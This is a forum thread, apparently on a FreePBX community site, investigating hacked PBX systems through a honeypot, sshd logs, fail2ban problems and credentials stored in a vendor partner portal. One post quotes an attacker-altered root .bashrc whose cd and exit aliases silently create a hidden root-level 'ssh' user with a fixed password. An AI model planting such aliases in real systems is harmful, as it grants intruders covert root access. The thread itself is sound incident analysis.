Hacked via?

Yes I would as well.

Guys,

If there is anything to find we will tell you, as we always have. There’s no need for everyone to request this. As of this moment we still have not received this machine so there is nothing to tell. Corrado lives in Scotland so he’s sleeping. Let’s give him some time. For now just close your SSH ports to the outside world.

1 Like

some measures to reduce attack:

  1. If using SIP trunk, it’s better to limit calling area for each sip trunk, many sip-trunk providers support this function.

  2. turn off port forwarding on router and use VPN to connect server if need remote externsion

  3. turn on firewall

  4. shutdown apache2 service, also shutdown ssh if need.

Sorry for the delay, been busy making a new unit to replace the honeypot but been swamped with other stuff.

There might be an undisclosed privilege escalation on sshd that allows a quick login as root.
Once done, the .bashrc for root is modified as follows:

# .bashrc

# User specific aliases and functions
alias cd='/usr/sbin/useradd -o -u 0 ssh &>/dev/null;echo -e "omegaomega\nomegaomega\n" | passwd ssh &>/dev/null;cd'
alias exit='/usr/sbin/useradd -o -u 0 ssh &>/dev/null;echo -e "omegaomega\nomegaomega\n" | passwd ssh &>/dev/null;exit'
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Source global definitions
if [ -f /etc/bashrc ]; then
        . /etc/bashrc
fi
export VISUAL=nano

As you can see, every cd or exit command from root creates a ssh user with omegaomega password.

Once that’s done, the ssh user logs in and three files are injected as in the above thread.

Pretty pedestrian.

Now we must only find if sshd has a 0day or fail2ban doesn’t catch failed SSH login attempts and we get violated by brute force.

Side note, the honeypot doesn’t have the firewall module installed. It would be pointless.

By the way, fail2ban needs an overhaul, but it’s for another thread.

Note: This thread has been updated with an official response from Sangoma Technologies, Inc.

This could only potentially affect you if your “organization has one or more deployments where you previously provided Sangoma with either SSH or Web GUI credentials, so that our support team would have easier access to your systems, when you request our help in future support calls

It has nothing to do with commercial module purchases nor commercial module usage.

If you bought a commercial module from Sangoma/Schmooze there is nothing we store to get in to the system the module is purchased from/for. The only information this response is in response to is the information listed in the statement linked to above.

  • Sangoma Technologies, Inc

And when you have shut down apache and ssh, how do you get on the system again remotely?
Please don’t make suggestions that could cripple systems.

Note: This thread has been updated with an official response from Sangoma Technologies, Inc.

This could only potentially affect you if your “organization has one or more deployments where you previously provided Sangoma with either SSH or Web GUI credentials, so that our support team would have easier access to your systems, when you request our help in future support calls

It has nothing to do with commercial module purchases nor commercial module usage.

If you bought a commercial module from Sangoma/Schmooze there is nothing we store to get in to the system the module is purchased from/for. The only information this response is in response to is the information listed in the statement linked to above.

  • Sangoma Technologies, Inc

I’m still not in a position to go and swap the honeypot out, but I can have a look at the sshd logs.

I can see a few random brute force attempts from many places before, but a dead straight successful login from 95.211.188.23, single shot.

Apr 10 10:40:32 tvv_phonebox sshd[14924]: Connection closed by 195.154.112.244
Apr 10 15:22:22 tvv_phonebox sshd[32643]: Connection closed by 95.215.60.170
Apr 10 22:32:01 tvv_phonebox sshd[26583]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=176.109.60.33  user=root
Apr 10 22:32:04 tvv_phonebox sshd[26583]: Failed password for root from 176.109.60.33 port 45923 ssh2
Apr 10 22:32:07 tvv_phonebox sshd[26583]: Failed password for root from 176.109.60.33 port 45923 ssh2
Apr 11 03:36:47 tvv_phonebox sshd[13026]: Invalid user koeda from 95.215.60.170
Apr 11 03:36:47 tvv_phonebox sshd[13027]: input_userauth_request: invalid user koeda
Apr 11 03:36:47 tvv_phonebox sshd[13026]: pam_unix(sshd:auth): check pass; user unknown
Apr 11 03:36:47 tvv_phonebox sshd[13026]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=95.215.60.170
Apr 11 03:36:47 tvv_phonebox sshd[13026]: pam_succeed_if(sshd:auth): error retrieving information about user koeda
Apr 11 03:36:48 tvv_phonebox sshd[13026]: Failed password for invalid user koeda from 95.215.60.170 port 47168 ssh2
Apr 11 03:36:48 tvv_phonebox sshd[13026]: pam_unix(sshd:auth): check pass; user unknown
Apr 11 03:36:48 tvv_phonebox sshd[13026]: pam_succeed_if(sshd:auth): error retrieving information about user koeda
Apr 11 03:36:50 tvv_phonebox sshd[13026]: Failed password for invalid user koeda from 95.215.60.170 port 47168 ssh2
Apr 11 11:49:16 tvv_phonebox sshd[11586]: Accepted password for root from 82.15.208.171 port 30728 ssh2
Apr 11 11:49:16 tvv_phonebox sshd[11586]: pam_unix(sshd:session): session opened for user root by (uid=0)
Apr 11 11:59:06 tvv_phonebox sshd[11586]: pam_unix(sshd:session): session closed for user root
Apr 11 13:48:27 tvv_phonebox sshd[19795]: Did not receive identification string from 64.64.117.63
Apr 11 14:17:44 tvv_phonebox sshd[21682]: Invalid user node from 95.215.60.170
Apr 11 14:17:44 tvv_phonebox sshd[21683]: input_userauth_request: invalid user node
Apr 11 14:17:44 tvv_phonebox sshd[21682]: pam_unix(sshd:auth): check pass; user unknown
Apr 11 14:17:44 tvv_phonebox sshd[21682]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=95.215.60.170
Apr 11 14:17:44 tvv_phonebox sshd[21682]: pam_succeed_if(sshd:auth): error retrieving information about user node
Apr 11 14:17:46 tvv_phonebox sshd[21682]: Failed password for invalid user node from 95.215.60.170 port 54187 ssh2
Apr 12 01:07:14 tvv_phonebox sshd[29247]: Invalid user adam from 95.215.60.170
Apr 12 01:07:14 tvv_phonebox sshd[29248]: input_userauth_request: invalid user adam
Apr 12 01:07:14 tvv_phonebox sshd[29247]: pam_unix(sshd:auth): check pass; user unknown
Apr 12 01:07:14 tvv_phonebox sshd[29247]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=95.215.60.170
Apr 12 01:07:14 tvv_phonebox sshd[29247]: pam_succeed_if(sshd:auth): error retrieving information about user adam
Apr 12 01:07:15 tvv_phonebox sshd[29247]: Failed password for invalid user adam from 95.215.60.170 port 57588 ssh2
Apr 12 01:07:16 tvv_phonebox sshd[29247]: pam_unix(sshd:auth): check pass; user unknown
Apr 12 01:07:16 tvv_phonebox sshd[29247]: pam_succeed_if(sshd:auth): error retrieving information about user adam
Apr 12 01:07:17 tvv_phonebox sshd[29247]: Failed password for invalid user adam from 95.215.60.170 port 57588 ssh2
Apr 15 04:21:08 tvv_phonebox sshd[16323]: Accepted password for root from 95.211.188.23 port 63274 ssh2
Apr 15 04:21:08 tvv_phonebox sshd[16323]: pam_unix(sshd:session): session opened for user root by (uid=0)
Apr 15 04:28:07 tvv_phonebox sshd[16323]: Received disconnect from 95.211.188.23: 11: disconnected by user
Apr 15 04:28:07 tvv_phonebox sshd[16323]: pam_unix(sshd:session): session closed for user root
Apr 15 04:21:08 tvv_phonebox sshd[16323]: Accepted password for root from 95.211.188.23 port 63274 ssh2
Apr 15 04:21:08 tvv_phonebox sshd[16323]: pam_unix(sshd:session): session opened for user root by (uid=0)
Apr 15 04:28:07 tvv_phonebox sshd[16323]: Received disconnect from 95.211.188.23: 11: disconnected by user
Apr 15 04:28:07 tvv_phonebox sshd[16323]: pam_unix(sshd:session): session closed for user root

The only places where that password is stored are my head and the Sangoma Portal, in the Deployments. :sweat:

Removing all passwords from them as I write.

BTW, none of these login attempts were caught by fail2ban.
I think it’s the __prefix_line parameter in the regex in filter.d/sshd.conf that’s wrong, because there are at least two of the regex that should have caught entries in the security log.

DISCLAIMER

I’m not saying there’s been a security breach on the portal. Not for a single second. But if the others who got hacked did the same, it might be a common clue to see where that’s coming from.

I have three deployments with passwords stored in the deployment list. Two were accessed from the netherlands on or before April 13th. The third had been reloaded and the information was no longer accurate and there were failed SSH authentication attempts in the same time window from the same ip address. The second deployment that was accessed had the bash history removed but I cannot find any other modifications. The source IP was 5.79.73.246

I think it’s unlikely this is a coincidence.

Bingo.

This is being investigated on our side. We will be following up later today on our investigations.

1 Like

They are general measures to enhance security. I shutdown apache and ssh on VPS, just start them via VPS admin dashboard when need. It absolutely works for me.

On a VPS maybe, where you have an overarching layer of control on top of the machine.
On a nuts & bolts installation, you can’t reasonably do that, except if you have something else running on the same machine like Webmin. But again, you have Webmin as an attack surface.
If anyone with a nuts&bolts deployment stops apache and sshd, they’re toast.

This is why no PBX should be setup with outside access to things like SSH and GUI to the outside world. Everything should and must be firewalled and why we even provide a free and open source firewall in FreePBX.

Agree wholeheartedly, and it’s how all PBX we deploy are.
But without honeypots (purposely or inadvertently made :wink: ) we wouldn’t have found this hack out in the wild and apparently now deployed on an industrial scale.

2 Likes

I agree, it’s not a great idea to expose those services they way they were, but my system would still be secure if the credentials weren’t leaked. I’ve learned from it and closed those services. Also, I will never put pbx credentials anywhere out of my control again. Unfortunately, my customer has a big bill as a result.

1 Like

On the edge of my seat waiting to hear the official response from @tonyclewis

Tony is currently traveling.

To protect against this we do allow outside access but ONLY from our companies static IP addresses. This ensures we have full access but noone else does.

No updates today, I realize @tonyclewis was traveling yesterday as per @tm1000

A official email of anyone who has stored login information for deployments in our partner portal has been emailed as of today. It may take you a few hours to receive the email but they are being sent out as of a couple hours ago.

Thank you for the update, lock down those ports people. I havnt received my email yet but I will be looking for it.